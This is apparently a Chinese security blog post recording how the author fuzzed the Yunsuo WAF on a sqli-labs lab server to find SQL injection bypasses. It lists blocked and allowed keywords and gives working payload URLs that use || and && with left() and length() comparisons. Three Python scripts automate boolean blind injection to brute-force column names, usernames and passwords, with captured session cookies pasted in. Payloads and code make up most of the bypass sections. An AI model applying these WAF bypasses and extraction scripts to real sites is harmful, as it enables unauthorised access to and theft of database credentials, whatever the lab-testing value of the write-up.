云锁最新版注入fuzz记录

2021-08-05 10:44:41 浏览数 (1)

1.云锁简单介绍

云锁是中国用户总量领先的主机安全产品,在国际上率先达到Gartner定义的cwpp(云工作负载保护平台)标准,兼容多种虚拟化架构和操作系统,可以高效支撑现代混合数据中心架构下的主机安全需求。云锁基于服务器端轻量级agent,安全加固服务器操作系统及应用,云锁waf探针、rasp探针、内核加固探针能有效检测与抵御已知、未知恶意代码和黑客攻击;同时云锁融合资产管理、微隔离、攻击溯源、自动化运维、基线检查等强大功能,帮助用户高效安全运维服务器。

2.测试环境准备

CentOS8.2.2004, 云锁waf,云锁pc客户端,sqli-labs, upload-labs,宝塔

云锁waf安装命令:

代码语言:javascript复制
CentOS/Redhat

x86:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz && tar xvzf yunsuo_agent_32bit.tar.gz && chmod  x yunsuo_install/install && yunsuo_install/install

x64:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz && tar xvzf yunsuo_agent_64bit.tar.gz && chmod  x yunsuo_install/install && yunsuo_install/install

Ubuntu

x86:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz && tar xvzf yunsuo_agent_32bit.tar.gz && chmod  x yunsuo_install/install && sudo yunsuo_install/install

x64:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz && tar xvzf yunsuo_agent_64bit.tar.gz && chmod  x yunsuo_install/install && sudo yunsuo_install/install

云锁PC客户端

防护模式选择最高级别,在URL上检测所有规则

利用宝塔建站,将sqli-labs和upload-labs搭建在服务器上

3.FUZZ过程

3.1 注释符

#、-- 、;均可使用

3.2 order by绕过

order by函数被ban了,单个使用不检测,联合起来检测

代码语言:javascript复制
http://ip:port/Less-1/?id=order
代码语言:javascript复制
http://ip:port/Less-1/?id=order by

虽然order by被ban了,但是幸运的是group by没有被ban,还是可以通过group by来获取字段数。

代码语言:javascript复制
http://ip:port/Less-1/?id=1' group by 3-- 
代码语言:javascript复制
http://ip:port/Less-1/?id=1' group by 4-- 

综上可以看出,有三个字段。

3.3 union select

不出所料的也被ban了,同样也是单个使用不会被ban,同时使用时被ban

并且' union" union 同时出现时也会被ban

select from同时出现时也会被拦截

代码语言:javascript复制
http://ip:port/Less-1/?id=select from

通过测试发现并没有比较好的方法绕过union select

3.4 sleep

sleep()函数没有被ban,可以尝试盲注

3.5 报错注入函数

其中extractvalue()updatexml()均被拦截

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' || extractvalue()
代码语言:javascript复制
http://ip:port/Less-1/?id=-1' || updatexml()

floor(rand(0)*2)可以使用

代码语言:javascript复制
http://ip:port/Less-1/?id=floor(rand(0)*2)

group bycount() 也可以使用

代码语言:javascript复制
http://ip:port/Less-1/?id=count(*) || group by **floor(rand(0)*2)**

但是select from等均会被拦截,报错注入也不是很好绕过WAF。

3.6 database()、user()、version()

database()user()均被ban了,version()没有被ban

3.7 内联注释

尝试内联注释绕过,不过/*!*/被ban了

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' /*!union*/ select 1,2,3#

/**/虽然没被ban,但是不会解析

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' un/**/ion select 1,2,3#

/**/放在其他地方时,又会因为' unionunion select而被拦截

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' /**/union select 1,2,3#

4.正式绕过

4.1 and or替换

虽然and、or、xor被ban了,但是可以用&&、 ||代替

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' || 1=1#

&&没法直接绕过and,和url传递多参数会有冲突,但是url编码一下就可以了

代码语言:javascript复制
http://ip:port/Less-1/?id=1' && 1=1#
代码语言:javascript复制
http://ip:port/Less-1/?id=1' && 1=1#
代码语言:javascript复制
http://ip:port/Less-1/?id=1' && 2=1#

此时证明存在注入漏洞

4.2 left函数利用

尝试利用left()函数

示例:left('abc',2)返回值为ab

之后将他与字符串进行比较 例如 left('abc',1)>'a' 返回结果为false 因为 ‘a’=‘a’

同样的left(abc,2)>'aa'返回结果为TURE 因为‘ab’是要大于‘aa’

根据返回的结果的真假与前面的语句用and相连接构造逻辑关系

即后面结果为真,页面就正常回显。若后面的语句为假,则页面回显异常

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' || left('abc',2)>'aa'#

当去掉'abc'的单引号时,会报不存在abc字段的错误,可知我们可以输入一个字段名来进行left的操作

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' || left(abc,2)>'aa'#

通过爆破可以爆出字段名username和password。这里爆破可以用sqlmap自带的column字典,很好用,当然也可以自定义字典。

代码语言:javascript复制
字典位置:sqlmap-masterdatatxtcommon-columns.txt

爆破脚本:

代码语言:javascript复制
import requests

# burpsuite抓包直接复制
burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

fp = open('common-columns.txt')
initial_payload = "?id=-1' || left({column}, 2)>'aa' #"

while 1:
    column = fp.readline()
    if not column:
        break
    column = column.strip('n')
    payload = initial_payload.format(column=column)
    res = requests.get(burp0_url   payload, headers=burp0_headers, cookies=burp0_cookies)
    if "Your Login name" in res.text:
        print(column)
    else:
        continue

得到结果:

代码语言:javascript复制
username
password

尝试username,成功

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' || left(username,2)>'aa'#

如果利用left(username,1)='a' 就能得到第一个开头为a的表username内的字段值

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' || left(username,1)='a'#

但是实际环境中,可能存在着不止一个以a开头的用户,比如当我们使用left(username,2)='ad'来判断时,就会获得如下结果

代码语言:javascript复制
http://ip:port/Less-1/?id=-1' || left(username,2)='ad'#

在实际环境中,正常情况下肯定都不会直接回显字段值,此时我们就需要盲注爆破了。可以先判断长度,比如:

固定长度为6时,并且字段值开头第一个字母为s,就会成功访问。

代码语言:javascript复制
http://121.196.99.70:8700/Less-1/?id=-1' || left(username, 1)='s' && length(username)=6#

当设置长度为7时,没有长度为7且第一个字母为s的字段值,就不会回显

代码语言:javascript复制
http://121.196.99.70:8700/Less-1/?id=-1' || left(username, 1)='s' && length(username)=7#

当长度为8时,又存在新的数据,这时就会成功回显。

代码语言:javascript复制
http://121.196.99.70:8700/Less-1/?id=-1' || left(username, 1)='s' && length(username)=8#

4.3 爆破脚本

此时,我们就可以利用这种方法来进行爆破了。

爆破username:

代码语言:javascript复制
import requests
import time

# requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
# payload ="-1' || left(username, {number})='{name}' && length(username)={length}#"
# burpsuite抓包直接复制
burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

#常用字符表
chars = "abcdefghijklmnopqrstuvwxyz@0123456789!-$"
# 全字符表
# allchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@0123456789!"#$%&'()* ,-./:;<=>?[]^_`{|}~"

#待爆破字段名
column = "username"
initial_payload ="?id=-1' || left({column}, {number})='{name}'#"
result = []

def burst(burst_payload: str, burst_number: int, burst_name: str, burst_length):
    for char1 in chars:
        payload = burst_payload.format(number=burst_number, name=burst_name   char1, column=column, length=burst_length)
        res = requests.get(burp0_url   payload, headers=burp0_headers, cookies=burp0_cookies)
        if "Your Login name" in res.text:
            #print(payload)
            burst_name = burst_name   char1
            return burst_name
        else:
            continue

for char1 in chars:
    payload = initial_payload.format(number=1, name=char1, column=column)
    res = requests.get(burp0_url   payload, headers=burp0_headers, cookies=burp0_cookies)
    if "Your Login name" in res.text:
        for length in range(1, 10):
            payload = (initial_payload[:-3]   " && length({column})={length}#").format(number=1, name=char1, column=column, length=str(length))
            #print(payload)
            res = requests.get(burp0_url   payload, headers=burp0_headers, cookies=burp0_cookies)
            if "Your Login name" in res.text:
                burst_name = char1
                for i in range(2, length 1):
                    burst_number = i
                    burst_payload = (initial_payload[:-3]   " && length({column})={length}#")
                    burst_name = burst(burst_payload, burst_number, burst_name, length)
                result.append(burst_name)
                print(result)
            else:
                continue
    else:
        continue

可以得到如下结果:

代码语言:javascript复制
['admin', 'angelina', 'batman', 'dumb', 'dummy', 'secure', 'superman']

爆破password:

代码语言:javascript复制
import requests
import time

# requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
# payload ="-1' || left(username, {number})='{name}' && length(username)={length}#"
# burpsuite抓包直接复制
burp0_url = "http://xxxxxx/Less-1/"
burp0_cookies = {"request_token": "PLbkh85zHxoNaZhC5HFs7LQNZVy2OCje5oRib1ul2cjLWPn9", "pro_end": "-1", "ltd_end": "-1", "serverType": "apache", "order": "id desc", "memSize": "1826", "backup_path": "/www/backup", "sites_path": "/www/wwwroot", "Path": "/www/wwwroot/www.2.com", "uploadSize": "1073741824", "rank": "a", "security_session_verify": "803708956e6aa8bfb2d60bdfbdad5d85", "SESSIONID": "03370970-bce8-43c7-b02e-2efd608b830b.PTCcEwwcXaUmO4rRySk8XWRkOqM"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

#常用字符表
chars = "abcdefghijklmnopqrstuvwxyz@0123456789!-$"
# 全字符表
# allchars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@0123456789!"#$%&'()* ,-./:;<=>?[]^_`{|}~"

#待爆破字段名
column = "password"
initial_payload ="?id=-1' || left({column}, {number})='{name}'#"
result = []

def burst(burst_payload: str, burst_number: int, burst_name: str, burst_length):
    for char1 in chars:
        payload = burst_payload.format(number=burst_number, name=burst_name   char1, column=column, length=burst_length)
        res = requests.get(burp0_url   payload, headers=burp0_headers, cookies=burp0_cookies)
        if "Your Login name" in res.text:
            #print(payload)
            burst_name = burst_name   char1
            return burst_name
        else:
            continue

for char1 in chars:
    payload = initial_payload.format(number=1, name=char1, column=column)
    res = requests.get(burp0_url   payload, headers=burp0_headers, cookies=burp0_cookies)
    if "Your Login name" in res.text:
        for length in range(1, 10):
            payload = (initial_payload[:-3]   " && length({column})={length}#").format(number=1, name=char1, column=column, length=str(length))
            #print(payload)
            res = requests.get(burp0_url   payload, headers=burp0_headers, cookies=burp0_cookies)
            if "Your Login name" in res.text:
                burst_name = char1
                for i in range(2, length 1):
                    burst_number = i
                    burst_payload = (initial_payload[:-3]   " && length({column})={length}#")
                    burst_name = burst(burst_payload, burst_number, burst_name, length)
                result.append(burst_name)
                print(result)
            else:
                continue
    else:
        continue

结果如下:

代码语言:javascript复制
['admin', 'crappy', 'dumb', 'genious', 'mob!le', 'p@ssword', 'stupidity']

注:

目前脚本存在两个问题,第一个是大小写不敏感,导致用户和密码如果存在大小写会有问题。第二个是同长度同首字母的不同用户,只能识别第一个,如果想要识别多个会大大提高所花费的时间,有空再改改。

大概可以通过二分法来做,然后用ord(name)>64来判断是否存在。

0 人点赞